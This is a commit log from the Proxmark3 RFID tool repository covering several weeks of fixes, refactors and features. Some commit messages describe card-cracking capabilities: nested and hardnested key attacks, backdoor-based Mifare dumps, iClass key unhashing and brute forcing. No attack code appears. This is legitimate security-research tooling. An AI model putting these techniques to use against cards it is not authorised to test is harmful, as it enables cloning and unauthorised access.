70581e3bfa modified iclass chk to load the default dictionary file. hf iclass chk -> use iclass_default_keys and hf iclass chk --elite -> use iclass_elite_keys`.. a bit simple 2024-10-18 18:20:43 +02:00
iceman1001
0c2ef9d3a8 style 2024-10-18 17:37:52 +02:00
Philippe Teuwen
91004aa2f1 hf mf sim: remove mention of non-existing option 2024-10-18 17:03:54 +02:00
Iceman
37e8812dfb
Merge pull request #2579 from douniwan5788/82xx_print
improve Hitag S output
2024-10-18 11:49:21 +02:00
douniwan5788
2ac74e01db improve Hitag S output 2024-10-17 21:31:24 +08:00
Iceman
81a8bed9b4
Merge pull request #2578 from douniwan5788/doc
doc: update 82xx
2024-10-17 14:22:41 +02:00
douniwan5788
592b0ba75b doc: update 82xx 2024-10-17 19:16:57 +08:00
Iceman
66ae89f3f3
Merge pull request #2577 from Cryolitia-Forks/master
feat: detect march and mcpu
2024-10-17 11:56:40 +02:00
Cryolitia PukNgae
c95f9ee34f docs: update CHANGELOG 2024-10-17 15:19:09 +08:00
Cryolitia PukNgae
79540b1d33 feat(mfd_aes_brute): detect march and mcpu
fix build on riscv64
2024-10-17 15:14:41 +08:00
Philippe Teuwen
079689628b hf mf sim: add nested reader attack (needs data & rf08s nonces) 2024-10-16 19:54:03 +02:00
Iceman
00c84b9c22
Merge pull request #2576 from ANTodorov/fix_em4x50_read
fix em4x50_read function
2024-10-16 18:30:40 +02:00
ANTodorov
71b354043e
fix em4x50_read function
affected `lf search` and `lf em 4x50 rdbl -b <blk>`
2024-10-16 19:10:41 +03:00
Iceman
1a3c5c4981
Merge pull request #2575 from ANTodorov/patch-1
Update spi_flash_decode.py
2024-10-16 17:05:41 +02:00
Anton Todorov
bdaa6d2852
Update spi_flash_decode.py
add some more SPI devices

Signed-off-by: Anton Todorov <ANTodorov@users.noreply.github.com>
2024-10-16 16:36:36 +03:00
Philippe Teuwen
5b7ba3bf50 MFsim: RATS_IN_DATA was not a proper bit flag 2024-10-16 15:24:01 +02:00
iceman1001
bed3dcee29 text 2024-10-16 09:37:51 +02:00
iceman1001
5ac1ae2e06 when in bootrom mode, the arg0 variable needed to be zeroed out before usage. We assign arg0 from a message before but we can discard that information in this particular case. Its quite odd to see the assignment failing but empty it out seems to have fixed it. 2024-10-16 09:36:37 +02:00
iceman1001
e1fc066f55 style 2024-10-16 09:34:14 +02:00
Philippe Teuwen
5470303588 prepare MifareAcquireStaticEncryptedNonces for standalone 2024-10-16 01:48:36 +02:00
Philippe Teuwen
3b91624ea6 Mifare1ksim logic closer to SimulateIso14443aTag and keep running when using mfkey32v2 2024-10-16 01:46:13 +02:00
Philippe Teuwen
c1a038aa56 readerAttack: inject only found key 2024-10-16 01:46:13 +02:00
Philippe Teuwen
8828c9513e hf mf sim -x: collect nonces for mfkey32v2 only if current sim key is invalid 2024-10-16 01:46:13 +02:00
Philippe Teuwen
809b6c881a mfkey32_moebius: no need to wait for 20 keys to see there are more than 1 key... 2024-10-16 01:46:13 +02:00
Philippe Teuwen
ffd5601325 hf mf sim: simplify nonce collection 2024-10-16 01:46:13 +02:00
Iceman
e9445851e3
Merge pull request #2572 from douniwan5788/hitag1comp
fix: switch Hitag S UID REQUEST to HITAGS_UID_REQ_ADV1 for Hitag 1 co…
2024-10-15 13:47:28 +02:00
Iceman
1bf6104e79
Merge pull request #2573 from douniwan5788/tracelist
fix: `trace list` when there are exactly 8 bits of data.
2024-10-15 13:46:19 +02:00
douniwan5788
ac1f490aab fix: trace list when there are exactly 8 bits of data. 2024-10-15 13:36:34 +08:00
douniwan5788
252d6a29db fix: switch Hitag S UID REQUEST to HITAGS_UID_REQ_ADV1 for Hitag 1 compatibility 2024-10-15 13:35:47 +08:00
Philippe Teuwen
bb3d36bf20 hf mf sim: fix text 2024-10-15 01:27:05 +02:00
Philippe Teuwen
02f0b1bcdd Make sure MFC dumps & keys are saved in the dump user pref path 2024-10-14 22:53:00 +02:00
Philippe Teuwen
c66834f19c fm11rf08s_recovery: get prefs via JSON 2024-10-14 21:49:41 +02:00
Philippe Teuwen
0961b01950 add option --json to pref show 2024-10-14 21:49:40 +02:00
Philippe Teuwen
4dea606468 saveFileJSONex: reuse saveFileJSONrootEx 2024-10-14 21:48:35 +02:00
Philippe Teuwen
e38f8e2d82 split saveFileJSONex 2024-10-14 20:22:55 +02:00
Philippe Teuwen
44c60b45eb
Merge pull request #2571 from Eltrick/master
fm11rf08s_recovery.py: option to keep generated dictionaries after processing; save dump and key to the path shown in `prefs show`
2024-10-14 19:21:39 +02:00
Philippe Teuwen
e6f49aada6 CodeQL complains about Python pip install out of a virtualenv. I don't think CodeQL needs Python. 2024-10-14 19:06:33 +02:00
Philippe Teuwen
0c21da8be0 pm3_lib: load preferences file 2024-10-14 18:36:54 +02:00
Philippe Teuwen
50d9042a5c Fix broken client/experimental_lib 2024-10-14 17:18:10 +02:00
Lucifer Voeltner
376df75d63
fm11rf08s_recovery.py: option to keep generated dictionaries after processing; save dump and key to the path shown in prefs show 2024-10-14 21:47:22 +07:00
Philippe Teuwen
85e463b222 hf mf isen --collect_fm11rf08s_with_data optimizations:
* do not read data blocks twice
* store data in the emulator memory, to be prepared for standalone modes and to not allocate large buffer on stack
* 9->8 bytes to store each key data in emulator memory (half_nt + nt_par_err + flag + nt_enc)
2024-10-14 15:34:25 +02:00
Philippe Teuwen
d3a434b966 spi_flash_decode.py: add 0x4013 (fix) 2024-10-14 09:33:34 +02:00
Philippe Teuwen
a488d9c1f3 spi_flash_decode.py: add 0x4013 2024-10-14 09:31:01 +02:00
Philippe Teuwen
e661df960f Changed mf_backdoor_dump.py: use faster ecfill/eview 2024-10-13 22:55:41 +02:00
Philippe Teuwen
e7ff2ad1ca hf mf ecfill: wait for execution and return status 2024-10-13 22:55:41 +02:00
Philippe Teuwen
8cddd4e9c9 Added option to wait for a card to hf 14a reader 2024-10-13 22:55:41 +02:00
Philippe Teuwen
a11ba61b01 hf mf ecfill: add support for quick dump via backdoor auth 2024-10-13 22:55:41 +02:00
Iceman
62080b2b34
Merge pull request #2570 from virtyvoid/32mbit
32mbit flash identification
2024-10-13 18:17:27 +02:00
Def
ea797602f4 32mbit flash identification 2024-10-13 17:58:19 +03:00
Philippe Teuwen
2685ad0dc0 More flash identifications 2024-10-13 02:11:40 +02:00
iceman1001
8293b81217 style 2024-10-12 13:56:17 +02:00
Iceman
dc7649241a
Merge pull request #2567 from Aptimex/mf_backdoor_dump
mf_backdoor_dump.py: 4k tag support, additional error check
2024-10-11 10:15:14 +02:00
Aptimex
4e5c256a5b 4k tag support, additional error check 2024-10-10 18:31:40 -06:00
Iceman
c5824bf78d
Merge pull request #2566 from Aptimex/mf_backdoor_dump
Add mf_backdoor_dump script
2024-10-10 13:16:47 +02:00
Aptimex
bc7cc7c5de fix missing import 2024-10-09 16:00:15 -06:00
Philippe Teuwen
0b1c82a102 Fixed hf mf restore - really skip strict ACLs unless --force 2024-10-09 23:52:58 +02:00
Aptimex
420afa279b add my username 2024-10-09 15:23:28 -06:00
Aptimex
c1dbe2f8c1 add line to changelog 2024-10-09 15:21:41 -06:00
Aptimex
145cd67b0e add mf_backdoor_dump script 2024-10-09 15:13:47 -06:00
Iceman
e833c9bf05
Merge pull request #2561 from ry4000/master
R&Y: Updated PDX hop fastpass and Added HID AIDs to aid_desfire.json
2024-10-09 04:25:33 +02:00
ry4000
6a75c89d5e
R&Y: Reverted HID AID names in aid_desfire.json
Per Iceman's feedback, `SIO DESFire EV1` / `SIO DESFire EV3` to ensure clarity rather than the ambiguous `SIO EV1` and `SIO EV3`.

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2024-10-08 13:20:39 +11:00
Iceman
11d9336556
Merge pull request #2564 from archi/fix_SimulateIso14443aInit
Fix SimulateIso14443aInit usage
2024-10-07 13:19:54 +03:00
Sebastian Meyer-Bohr
6da624c580 Fix SimulateIso14443aInit usage
Added NULL as `uint8_t *iRats` to all invokations in armsrc/Standalone.

Not sure if that is the right thing to do: The actual code checks for the presence of a special flag, but does not contain a check for NULL.
IMHO adding a NULL check in `iso14443a.c` line 1259 wouldn't hurt, and could catch programming errors (flag set by accident, but NULL passed).

Maybe @evildaemond wants to verify whether my fix does the right thing or if I missed something (they added the iRATs to `iso14443a.h` with 56324b16b2).
2024-10-07 11:44:27 +02:00
Iceman
049576a470
Merge pull request #2562 from archi/master
Fix hf_aveful.c: too few arguments to function 'SimulateIso14443aTag'
2024-10-07 12:19:55 +03:00
Philippe Teuwen
05ec053a38 Quick fix on standalone modes using SimulateIso14443aTag. Still need to fix those with SimulateIso14443aInit 2024-10-07 11:15:43 +02:00
Sebastian Meyer
33c9dfc545
Merge pull request #1 from archi/hf_craftbyte_SimulateIso14443aTag
Hf craftbyte simulate iso14443a tag
2024-10-07 10:57:46 +02:00
Sebastian Meyer
51520adc1d
Update CHANGELOG.md
Signed-off-by: Sebastian Meyer <archi@users.noreply.github.com>
2024-10-07 10:55:34 +02:00
Sebastian Meyer
1f660557eb
Fix hf_craftbyte.c: too few arguments to function 'SimulateIso14443aTag'
Signed-off-by: Sebastian Meyer <archi@users.noreply.github.com>
2024-10-07 10:54:47 +02:00
Sebastian Meyer
0b3c3dd0ea
Update CHANGELOG.md
Fixed incorrect argument count for SimulateIso14443aTag in aveful.c

Signed-off-by: Sebastian Meyer <archi@users.noreply.github.com>
2024-10-07 10:35:22 +02:00
Sebastian Meyer
24a760a266
Fixed incorrect argument count for SimulateIso14443aTag
Signed-off-by: Sebastian Meyer <archi@users.noreply.github.com>
2024-10-07 10:34:51 +02:00
ry4000
f21d410fc1
R&Y: Updated PDX hop fastpass and Added HID AIDs to aid_desfire.json
**Updated PDX hop fastpass**
- *Updated name and description to use its correct name/stylisation.*

**Added HID AIDs**
- *Based on information obtained within the Discord Server, with many thanks.*
- *SIO EV3 HID Factory AID added.*
- *SIO EV3 Field Encoder AID added.*

**Updated PACS AIDs**
-*Updated several name and descriptions to improve output consistency.*

Many thanks in advance, and kind regards,

-randy.

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2024-10-07 15:34:14 +11:00
Philippe Teuwen
90c8fa03e3 hf mf info: fingerprint fm11rf08s **98 2024-10-07 00:18:12 +02:00
Philippe Teuwen
92e46a1b8a fm11rf08s_recovery.py: test other keys as well 2024-10-06 23:14:30 +02:00
Philippe Teuwen
080ddc1595 fm11rf08s_nonces_with_data: save in JSON file 2024-10-06 23:14:30 +02:00
iceman1001
c002ae9f77 style 2024-10-06 10:08:17 +02:00
iceman1001
5a7e6643c7 added a new command to set UID on magic 14B 2024-10-05 22:18:27 +02:00
iceman1001
05231cdd64 text 2024-10-05 18:31:44 +02:00
iceman1001
3e1c4c9eac modified hf 14b info to detect tiananxin card 2024-10-05 18:21:03 +02:00
Iceman
c293a0c36b
Merge pull request #2560 from libin-ka/libin-ka-patch-2
Update flashmem.c
2024-10-05 15:51:29 +03:00
Iceman
e5e5d5490c
Merge pull request #2559 from libin-ka/libin-ka-patch-1
Update flashmem.h
2024-10-05 15:51:07 +03:00
libin-ka
c1107601f4
Update flashmem.c
add W25Q16 devid

Signed-off-by: libin-ka <46210417+libin-ka@users.noreply.github.com>
2024-10-05 19:18:19 +08:00
libin-ka
c7e5363ada
Update flashmem.h
add W25Q16 devid

Signed-off-by: libin-ka <46210417+libin-ka@users.noreply.github.com>
2024-10-05 19:13:58 +08:00
Iceman
f00fac8b59
Merge pull request #2557 from douniwan5788/82xx_config
add: 82xx config parse
2024-10-04 19:39:48 +03:00
Iceman
e9915424c7
Merge pull request #2558 from douniwan5788/reason_unknown
add PM3_REASON_UNKNOWN
2024-10-04 19:38:23 +03:00
douniwan5788
9a50e608e0 add PM3_REASON_UNKNOWN 2024-10-04 23:25:15 +08:00
douniwan5788
d361cd863c add: 82xx config parse 2024-10-04 23:00:24 +08:00
Iceman
cd4c2834a6
Merge pull request #2556 from douniwan5788/hts_rdbl
fix: `lf hitag hts rdbl` read by page
2024-10-04 17:49:45 +03:00
douniwan5788
680f16573d fix: lf hitag hts rdbl read by page 2024-10-04 22:30:28 +08:00
Iceman
40c483b808
Merge pull request #2555 from douniwan5788/hitags_error
add: Hitag S error reason
2024-10-04 17:06:42 +03:00
douniwan5788
274756686a add: Hitag S error reason 2024-10-04 21:56:22 +08:00
iceman1001
5f580e34ca better filehandling and memory handling in "lf em 410x brute" 2024-10-04 10:41:15 +02:00
Iceman
b2e4daf360
Merge pull request #2537 from douniwan5788/reason
add: split PacketResponseNG status into status and reason
2024-10-04 11:13:00 +03:00
Iceman
e431d33fd5
Merge branch 'master' into reason
Signed-off-by: Iceman <iceman@iuse.se>
2024-10-04 11:12:49 +03:00
iceman1001
88a46a289e Merge branch 'master' of github.com:RfidResearchGroup/proxmark3 2024-10-04 10:01:56 +02:00
iceman1001
ff765f569f change out some non-breaking wait for response from some command which shouldnt have it. Sniff / simulate / bruteforce should have it. and some minor text / style 2024-10-04 10:01:50 +02:00
Iceman
b124d11c09
Merge pull request #2554 from Antiklesys/master
Fixed config cards segmentation fault
2024-10-04 10:51:26 +03:00
iceman1001
4584c92fc4 added more waiting time for 14a apdu commands 2024-10-04 09:21:17 +02:00
iceman1001
27f5941395 add waiting time out for hf mfp info 2024-10-04 09:18:39 +02:00
iceman1001
f36e7a59a1 wait a bit longer when selecting a MFU tag 2024-10-04 09:16:04 +02:00
Antiklesys
dfa5d0c341 Fixed config cards segmentation fault
Fixed segmentation fault error from commit 6264b1df9a when trying to generate config cards.
2024-10-04 12:14:23 +08:00
Philippe Teuwen
ffc185cc9e Should fix clang-19 warning 2024-10-03 19:34:52 +02:00
Iceman
000dd4de38
Merge pull request #2552 from ANTodorov/spi_flash_decode
add a helper script to decode SPI flash JEDEC data
2024-10-02 20:42:46 +03:00
ANTodorov
f0862c9ee2
add a helper script to decode SPI flash JEDEC data
Signed-off-by: ANTodorov <ANTodorov@users.noreply.github.com>
2024-10-02 19:33:27 +03:00
Iceman
c083d319ec
Merge pull request #2551 from ANTodorov/show_JEDEC_data
show SPI flash JEDEC data
2024-10-02 14:24:05 +03:00
ANTodorov
7ffab48e77
show SPI flash JEDEC data
Signed-off-by: ANTodorov <ANTodorov@users.noreply.github.com>
2024-10-02 14:11:34 +03:00
Iceman
57ae16756d
Merge pull request #2550 from Antiklesys/master
hf iclass unhash improvements
2024-10-01 20:53:24 +03:00
Antiklesys
992dfdad48 hf iclass unhash improvements
Added more detailed instructions for next steps after unhashing
2024-10-02 00:16:03 +08:00
Iceman
cf6d5e5d7b
Merge pull request #2549 from Antiklesys/master
unhash hints for next steps
2024-10-01 18:44:08 +03:00
Antiklesys
190a88c61f
Update cmdhficlass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2024-10-01 23:33:35 +08:00
Antiklesys
091b76b163 unhash hints for next steps
Added hints for next steps
2024-10-01 23:32:00 +08:00
iceman1001
5c5bfe59d6 style 2024-10-01 13:53:33 +02:00
Philippe Teuwen
06d63a8c0e Unify Py/Lua versions in hw version 2024-10-01 13:46:31 +02:00
Iceman
37c0c3aa9d
Merge pull request #2548 from merlokk/cipurse_read_fix
cipurse file read and update fix
2024-10-01 14:06:14 +03:00
Oleg Moiseenko
6b1d034701
cipurse file read fix 2024-10-01 13:55:54 +03:00
iceman1001
e162cc3953 style and text. Might need some hint for the next step when/how unhash output is used 2024-10-01 10:15:44 +02:00
iceman1001
f4d2d2e5db simplify logic and continue to check use_elite even in default mode key 2024-10-01 09:57:38 +02:00
iceman1001
01a191f385 style 2024-10-01 09:52:46 +02:00
Iceman
daa2fe1646
Merge pull request #2546 from jmichelp/patch-3
Fix missing line return when viewing dumps
2024-10-01 10:44:21 +03:00
Iceman
ce89cdaaa4
Merge pull request #2545 from Antiklesys/master
Updated iclass config card generation
2024-10-01 10:43:32 +03:00
Jean-Michel Picod
eb0d92ea98
Fix deleted line return
For some reason, `isprint()` claims that `0xff` is printable. But it's used by print functions as a magic value to suppress the line return.
So when viewing a dump where the last byte of a block/sector is `0xff`, it was suppressing the new line between blocks/sectors.

Signed-off-by: Jean-Michel Picod <jmichel.p@gmail.com>
2024-10-01 08:29:27 +02:00
Antiklesys
01f5d12259 Update CHANGELOG.md 2024-10-01 11:35:57 +08:00
Antiklesys
6264b1df9a Updated iclass config card generation
Improved config card generation to support using a different key than the default k0 for the card's key
2024-10-01 11:35:17 +08:00
Iceman
a03cde3db5
Merge branch 'master' into reason
Signed-off-by: Iceman <iceman@iuse.se>
2024-09-30 19:00:22 +03:00
iceman1001
50bdec092d fix #2541 som more keys which will need to be verified one of these days. Thanks @TestowyTest456! 2024-09-30 17:58:17 +02:00
Iceman
549388ed92
Merge pull request #2544 from ANTodorov/patch-1
fix hf mfu pwdgen for 7 byte uid
2024-09-30 18:53:22 +03:00
Anton Todorov
26fe583a80
hf mfu pwdgen with 4byte uid should adapt to 7 byte
Signed-off-by: Anton Todorov <ANTodorov@users.noreply.github.com>
2024-09-30 16:56:14 +03:00
Anton Todorov
047039aed7
Update CHANGELOG.md
add line for the `hf mfu pwdgen` fix

Signed-off-by: Anton Todorov <ANTodorov@users.noreply.github.com>
2024-09-30 16:30:57 +03:00
Anton Todorov
0733754968
fix hf mfu pwdgen for 7 byte uid
The last 3 bytes of the 7 byte uid are zeroed out
Tested with the example from the forum http://www.proxmark.org/forum/viewtopic.php?pid=44238#p44238

Signed-off-by: Anton Todorov <ANTodorov@users.noreply.github.com>
2024-09-30 16:25:00 +03:00
iceman1001
71c86f4b21 style 2024-09-30 10:36:29 +02:00
Iceman
c3591b9692
Merge pull request #2543 from Antiklesys/master
Completed hf iclass unhash pre-image generation
2024-09-30 11:32:54 +03:00
Antiklesys
f5d8ba3225
Update ikeys.c
Fixed comments and removed commented lines

Signed-off-by: Antiklesys <syselkitna@gmail.com>
2024-09-30 15:08:58 +08:00
Antiklesys
946ae5d3d6
Update ikeys.c
Removed commented lines
2024-09-30 11:39:53 +08:00
Antiklesys
0ae7e2cd68 Completed hf iclass unhash pre-image generation
Finished the pre-image generation algorithm to take in account edge scenarios based on special values of z0..z7 that return the same modulo values even tho they have different original values.
This allows the generation of more than 8 pre-images when reversing hash0, showing the full set of valid pre-images per each diversified key.
2024-09-30 11:24:32 +08:00
Iceman
ce1f17634d
Merge pull request #2542 from Antiklesys/master
Added hf iclass unhash
2024-09-29 20:38:45 +03:00
Antiklesys
d5469d567f Added hf iclass unhash
Added hf iclass unhash based on the document "Exposing iClass Key Diversification"
The command works but only handles the "main" scenarios, retrieving only 8/512 potential hash0 pre-images.
Handling of the additional pre-images is still work in progress.
2024-09-29 21:38:20 +08:00
Philippe Teuwen
7be8ee0c69 hf 14a raw --crypto1 special auth command now returns auth result as 0x0A/0x04 2024-09-27 11:03:27 +02:00
Philippe Teuwen
2eac5419f0 Add crypto1 support to hf 14a raw 2024-09-26 23:47:09 +02:00
Philippe Teuwen
9a6f6132bc doc 2024-09-26 23:39:53 +02:00
Iceman
2dc0946dc5
Merge pull request #2522 from douniwan5788/logtrace
fix: Hitag S logtrace time
2024-09-25 22:37:07 +03:00
douniwan5788
35c8dfc4e0 fix: Hitag S logtrace time 2024-09-26 01:39:04 +08:00
Iceman
55ef252a5d
Merge pull request #2539 from Sanduuz/master
Fixed typo in standard name
2024-09-25 12:09:34 +03:00
Iceman
c855994a45
Merge pull request #2540 from jakkpotts/fix-hf_young-simulate
Fixed argument count for SimulateIso14443aTag() in hf_young.c
2024-09-25 12:08:48 +03:00
jakkpotts
886db6978b Add entry to CHANGELOG.md for SimulateIso14443aTag in hf_young.c fix 2024-09-25 01:38:09 -07:00
jakkpotts
e32ab8d1d0 Fix incorrect number of arguments for SimulateIso14443aTag() in hf_young.c 2024-09-25 01:28:39 -07:00
Sanduuz
4979bb2043 Fixed typo in standard name 2024-09-25 10:42:53 +03:00
Iceman
14dcc9dab8
Merge pull request #2536 from douniwan5788/resp_init
refactor: cleanup PacketResponseNG init
2024-09-24 16:16:08 +03:00
douniwan5788
ef0bae7bc6 refactor: cleanup PacketResponseNG init 2024-09-24 21:06:42 +08:00
Iceman
9129cd6442
Merge pull request #2538 from sillygir1/sniffing-fix
Fix hf 14a sniff ignoring reader commands
2024-09-24 12:36:39 +03:00
Iceman
abd671bb3b
Merge pull request #2535 from douniwan5788/hitags_tearoff
add: Hitag S tearoff support
2024-09-24 11:53:49 +03:00
sillygir1
78150d8191 fix: hf 14a sniff ignoring reader commands 2024-09-24 06:05:13 +04:00
douniwan5788
96d462acee add: split PacketResponseNG status to status and reason 2024-09-24 03:10:53 +08:00
douniwan5788
142f2e6075 add: Hitag S tearoff support 2024-09-23 18:48:41 +08:00
Iceman
350ed787e1
Merge pull request #2534 from evildaemond/master
Adding hf 14a simaid
2024-09-23 12:04:00 +03:00
Iceman
425c44ff5b
Merge pull request #2533 from ry4000/master
R&Y: Added UMO and MONECARTE AIDs to aid_desfire.json
2024-09-23 12:01:52 +03:00
Iceman
4f0e062f21
Merge pull request #2532 from douniwan5788/hitag_common
refactor: process Hitag S common args
2024-09-23 12:01:31 +03:00
Adam Jon Foster
03fcc1d8d6
Update pm3_cmd.h
Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-09-23 15:31:46 +08:00
Adam Jon Foster
f42e2f76b9
Update CHANGELOG.md
Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-09-23 15:07:52 +08:00
Adam Jon Foster
03b291e173
Update CHANGELOG.md
Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-09-23 15:07:35 +08:00
Adam Jon Foster
953bfdb4f9
Update iso14443a.c
Fixed Names

Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-09-23 15:03:32 +08:00
Adam Jon Foster
b7aadc6d66
Update iso14443a.h
Added custom RATS via iRATS to regular iso14443a tag emulation

Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-09-23 14:54:11 +08:00
Adam Jon Foster
089da16ffa
Update iso14443a.c
Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-09-23 14:53:34 +08:00
Adam Jon Foster
fd678ae1c7
Update appmain.c
Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-09-23 14:49:25 +08:00
Adam Jon Foster
56324b16b2
Update iso14443a.h
Added custom RATS option

Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-09-23 14:46:52 +08:00
Adam Jon Foster
2d3cff720b
Update iso14443a.c
Added custom RATS option

Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-09-23 14:46:31 +08:00
Adam Jon Foster
d48d69b3e2
Update pm3_cmd.h
Added Header File

Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-09-23 14:42:22 +08:00
Adam Jon Foster
5be8f92cff
Update iso14443a.h
Added SimulateIso14443aTagAID

Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-09-23 14:38:59 +08:00
Adam Jon Foster
95a8829f20
Update iso14443a.c
Added SimulateIso14443aTagAID

Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-09-23 14:38:30 +08:00
Adam Jon Foster
4ff0726eb6
Update appmain.c
Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-09-23 14:34:56 +08:00
Adam Jon Foster
92767a685f
Update pm3_cmd.h
Added RATS_IN_DATA as a definition

Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-09-23 14:33:30 +08:00
Adam Jon Foster
92ce2cb780
Update cmdhf14a.h
Added HF 14a AID Sim

Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-09-23 14:32:14 +08:00
Adam Jon Foster
4b4afc623f
Update cmdhf14a.c
Added HF 14a AID Sim

Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-09-23 14:31:52 +08:00
ry4000
7ab9de3aab
R&Y: Added UMO and MONECARTE AIDs to aid_desfire.json
Added UMO Mobility transport AIDs.
Added European Student Card student AIDs.

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2024-09-23 14:11:22 +10:00
douniwan5788
f03eb1156a refactor: process Hitag S common args 2024-09-22 20:16:49 +08:00
Iceman
d2783214e3
Merge pull request #2531 from douniwan5788/hitag_enum
refactor: Merge enum hitag_function
2024-09-22 15:14:38 +03:00
douniwan5788
8b7f34b4d9 refactor: Merge enum hitag_function. read/write has already been differentiated by command 2024-09-22 20:05:25 +08:00
Iceman
495759d6bd
Merge pull request #2530 from nemanjan00/avx512f
Patch for hardnested attack, for avx512f, by @xianglin1998
2024-09-22 10:33:20 +03:00
Iceman
0331b66e78
Merge pull request #2529 from douniwan5788/move_to_hts
Move to hts
2024-09-22 10:32:13 +03:00
Iceman
73711f7862
Merge pull request #2528 from douniwan5788/bigbuf
refactor: change BigBuf to const
2024-09-22 10:31:32 +03:00
Iceman
5f44f23b92
Merge pull request #2527 from douniwan5788/82xx_page
fix: bypass some limits for 82xx
2024-09-22 10:30:57 +03:00
Iceman
0476596524
Merge pull request #2526 from douniwan5788/lfsearch_hangs
fix: `lf search` hangs
2024-09-22 10:29:14 +03:00
Iceman
a3871cdd1e
Merge pull request #2525 from jmichelp/dev
Print LUA and Python interpreter versions
2024-09-22 10:28:11 +03:00
Iceman
d68bddaf0e
Merge branch 'master' into dev
Signed-off-by: Iceman <iceman@iuse.se>
2024-09-22 10:28:04 +03:00
Iceman
2b1a71b391
Merge pull request #2524 from jmichelp/lua54
Update LUA from v5.2 to v5.4
2024-09-22 10:26:51 +03:00
Nemanja Nedeljkovic
de89cbb7b0 Changelog and credits 2024-09-22 02:32:45 +02:00
Nemanja Nedeljkovic
dd9d9d8f9e Patch for hardnested attack, for avx512f, by @xianglin1998 2024-09-22 02:30:49 +02:00
douniwan5788
0ef374e06f fix: lf search hangs 2024-09-21 23:37:55 +08:00
douniwan5788
eb3cd2a3eb refactor: move lf hitag read/write --hts to lf hitag hts rdbl/wrbl 2024-09-21 23:36:31 +08:00
douniwan5788
0614251555 refactor: move lf hitag sim --hts to lf hitag hts 2024-09-21 23:36:31 +08:00
douniwan5788
ea9da498a7 refactor: change BigBuf to const 2024-09-21 23:35:36 +08:00
douniwan5788
a9cf1cc67b fix: bypass some limits for 82xx 2024-09-21 23:34:38 +08:00
Jean-Michel Picod
2094f5f92b Print LUA and Python interpreter versions 2024-09-20 17:44:09 +02:00
Jean-Michel Picod
59f9272993 Silly gitignore file 2024-09-20 17:39:30 +02:00
Jean-Michel Picod
8a4a6da287 Add missing file which was gitingore'd 2024-09-20 17:32:18 +02:00
Jean-Michel Picod
9cd810d2ba Update changelog 2024-09-20 17:21:17 +02:00
Jean-Michel Picod
0c116f5517 Add the old bit32 LUA module as a compatiblity shim.
Many exisiting LUA scripts are using bit32 which has been removed
in LUA5.4 in favor of native language support of bitwise operations.
Yet, it's easier to backport this module rather than patching all the
existing LUA scripts because most of them can't be tested.
2024-09-20 17:21:17 +02:00
Jean-Michel Picod
22658097a7 Make the scripting code compatible with LUA 5.4
There's no unsigned anymore, just integers.
2024-09-20 17:21:17 +02:00
Jean-Michel Picod
ad65b41aa7 Update SWIG wrapper 2024-09-20 17:21:17 +02:00
Jean-Michel Picod
d616439618 Funtion unpack moved to table.unpack in LUA 5.3+ 2024-09-20 17:21:17 +02:00
Jean-Michel Picod
0421f5fde5 Update dkjson to a more recent version supporting utf-8 too 2024-09-20 17:21:17 +02:00
Jean-Michel Picod
fa949538ce Ansicolors was a LUA5.1 module. Move it to LUA5.2+ module style. 2024-09-20 17:21:17 +02:00
Jean-Michel Picod
18e3600d95 Update build and CI scripts to LUA 5.4 2024-09-20 17:21:17 +02:00
Jean-Michel Picod
0fcc3107b0 Bump LUA version from 5.2 to 5.4 2024-09-20 17:21:16 +02:00
Iceman
9f3e94c668
Merge pull request #2523 from douniwan5788/doc
doc: update 82xx CON0
2024-09-20 10:59:53 +02:00
Iceman
176a93f77c
Merge pull request #2521 from Antiklesys/master
Updates to iclass legrec and legbrute
2024-09-20 10:59:29 +02:00
Iceman
a0e80658e7
Merge pull request #2520 from douniwan5788/hitags_cleanup
refactor: hitag S cleanup
2024-09-20 10:57:23 +02:00
douniwan5788
ebfb05bff3 doc: update 82xx CON0 2024-09-20 01:24:01 +08:00
Antiklesys
a2a69b1b1b
Update util.h
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2024-09-19 19:14:23 +08:00
Antiklesys
b92e357307
Update cmdhficlass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2024-09-18 23:18:30 +08:00
Antiklesys
47dc372ca7 Update cmdhficlass.c 2024-09-18 23:16:42 +08:00
Antiklesys
90b05106f8 Updates to iclass legrec and legbrute
Streamlined legbrute to remove then need for CSN and validate variables accuracy as per Iceman's suggestions.
Updated legrec (client side only) for the future arm side PR
Fixed variable overflow on the arm side for hex conversions
2024-09-18 18:10:53 +08:00
douniwan5788
3fabc97fdb refactor: hitag S cleanup 2024-09-18 02:43:28 +08:00
Iceman
c7af82f146
Merge pull request #2519 from douniwan5788/reflect
Reflect
2024-09-17 18:52:28 +02:00
douniwan5788
11353044ca refactor: cleanup & optimize reflect* 2024-09-17 23:22:37 +08:00
douniwan5788
eda204bf87 add: reflect48 2024-09-17 23:22:37 +08:00
douniwan5788
f4b01f69a6 fix: reflect64 2024-09-17 23:22:37 +08:00
Iceman
d46b074fbc
Merge pull request #2517 from Antiklesys/master
Updated hf iclass legbrute
2024-09-17 13:18:43 +02:00
Iceman
6149a6f6c8
Merge pull request #2513 from douniwan5788/hitagS_tag
refactor: switch hitagS_tag to union
2024-09-17 13:18:27 +02:00
Antiklesys
43e6d42ce9
Update cmdhficlass.h
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2024-09-17 17:18:23 +08:00
Antiklesys
ac0260570a
Update cmdhficlass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
